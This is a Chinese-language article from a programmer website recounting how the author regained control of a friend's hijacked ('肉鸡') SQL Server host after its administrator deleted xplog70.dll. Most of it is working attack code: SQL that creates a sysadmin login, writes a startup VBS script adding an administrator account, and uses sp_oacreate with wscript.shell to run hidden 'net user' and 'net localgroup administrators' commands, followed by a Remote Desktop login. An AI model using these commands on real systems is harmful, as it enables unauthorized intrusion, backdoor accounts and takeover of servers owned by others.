欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

饶过Xplog70.dll玩入侵(参考防范)

程序员文章站 2022-03-19 14:06:10
深夜了,好友“如影随行”突然发来消息,说他一台配置非常好的3389肉鸡飞了。以前他是从WEB页面注入入手,然后直接用Xp_cmdshell添加系统用户搞定的,可晚上用3389登陆时突然发现添加... 10-06-29...
朋友叫我帮忙看看,这样和管理员的直接攻防较量我还没尝试过,所以也就答应了!
  因为是数据库是sa权限连接的,我首先想到的是利用下面的命令:
exec master.dbo.sp_addlogin renwoxin
我的目的是添加数据库用户“renwoxin”,然后将将其加入“sysadmin”组:
exec master.dbo.sp_addsrvrolemember renwoxin,sysadmin
然后就可以用祭出我们的“屠库宝刀”——sql查询分析器了。开始我还抱着一丝侥幸,希望可以通过:
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
添加xp_cmdshell扩展过程。可惜sql输出如下:
数据库中已存在名为xp_cmdshell 的对象。
为了确认xp_cmdshell是否被删除我提交如下语句:
select count(*) from master.dbo.sysobjects where xtype='x' and name=xp_cmdshell
返回1,看来并未删除xp_cmdshell对象,那问题应该是出在xplog70.dll这个文件了,也许被改名或者删除了。
我决定用臭要饭的写的getwebshell来写入asp木马。工具使用很简单,以往的黑防也有介绍过。我使用后一会儿就提示写入成功了,但等我高高兴兴的去访问这个路径时,却提示“找不到网页”,郁闷!
  百思不得其解,拿出nbsi2,利用tree list工具列出web路径下的文件,发现上传的木马“安详”地躺在那儿,可为什么不能访问呢(我现在都还不知道答案,哪位高人知道希望能指点一下),而且错误提示居然是“找不到文件”?!
我打算放弃了,可这么好的肉鸡就这么飞了,实在心有不甘!到百度一通狂搜,终于找到一篇文章,文中提出了一种方法,用sql查询分析器写入如下指令:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate ’scripting.filesystemobject’, @o out
——这两行代码是建立sql的文本对象
exec sp_oamethod @o, ’createtextfile’, @f out,’c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs’, 1
--在启动菜单里写入a.vbs,当然这里只支持中文
exec @ret = sp_oamethod @f, ’writeline’, null,’set wshshell=createobject("wscript.shell")’
——单引号里的都是a.vbs的内容,要一行一行的写,下同。
exec @ret = sp_oamethod @f, ’writeline’, null,’a=wshshell.run ("cmd.exe /c net user user1 123 /add",0)’
exec @ret = sp_oamethod @f, ’writeline’, null,’b=wshshell.run ("cmd.exe /c net localgroup administrators user1 /add",0)’
--a.vbs内容结束
按照作者的说法,执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的用户。可是要等服务器重启,要到哪一天啊?!
对着这段代码是我是上看、下看、左看、右看,你还别说真看出点什么了。这个脚本用sp_oamethod来调用ole对象的writeline方法,突然灵光一闪,我能不能用sp_oamethod来执行cmd命令呢?赶紧找出“sql server联机丛书”,其中对sp_oamethod描述如下:
sp_oamethod
调用 ole 对象的方法。
语法
sp_oamethod objecttoken,
????methodname
????[, returnvalue output]
????[ , [ @parametername = ] parameter [ output ]
????[...n]]
参数
objecttoken
是先前用 sp_oacreate 创建的 ole 对象令牌。
methodname
是要调用的 ole 对象的方法名。
用wscript.shell对象的run方法来运行cmd.exe不就可以执行cmd命令了吗?于是构造如下语句:
declare @cmd int
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$ test /add','0','true'

小提示:上面语句的详细解释是:
用sp_oacreate创建ole 对象wscript.shell的令牌。
用sp_oamethod调用wscript.shell的run方法来执行cmd语句,添加用户renwoxin$,密码为test。“0”和“true”是run方法的参数:“0”可选。表示程序窗口外观的整数值,表示语句执行时隐藏cmd窗口,如果不加的话,在服务器上会有一个dos窗口闪一下,容易暴露;“true”可选。布尔值,表示在继续执行脚本中的下一条语句之前,脚本是否等待执行完程序。如果设为true,则在执行完程序后才执行脚本,run方法返回由程序返回的任何错误代码。如果设为false(默认值),则run方法将自动在启动程序后立即返回0(不是错误代码)。

上面的代码执行后,sql查询分析器返回一个0值,这表示执行成功了,再将renwoxin$提升为管理员:
declare @cmd int
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c net localgroup administrators renwoxin$ /add','0','true'
这次又返回一个0值,还等什么,赶快从3389连过去看看,顺利进入!大家肯定会想到这个run可以执行几乎所有的cmd命令,只是如果你要看到结果,就需要自己构造表来存储了,大家可以发挥自己的想象力了!
找到sql安装目录下的binn文件夹,发现其中的xplog70.dll果然被删除了。再检查一下,用getwebshell提交的asp木马,内容居然是乱码!反正是不能执行,到现在我还是想不通是为什么,希望大侠们能著文传授。到此文章也该结束了,希望能尽快看到大侠们的文章。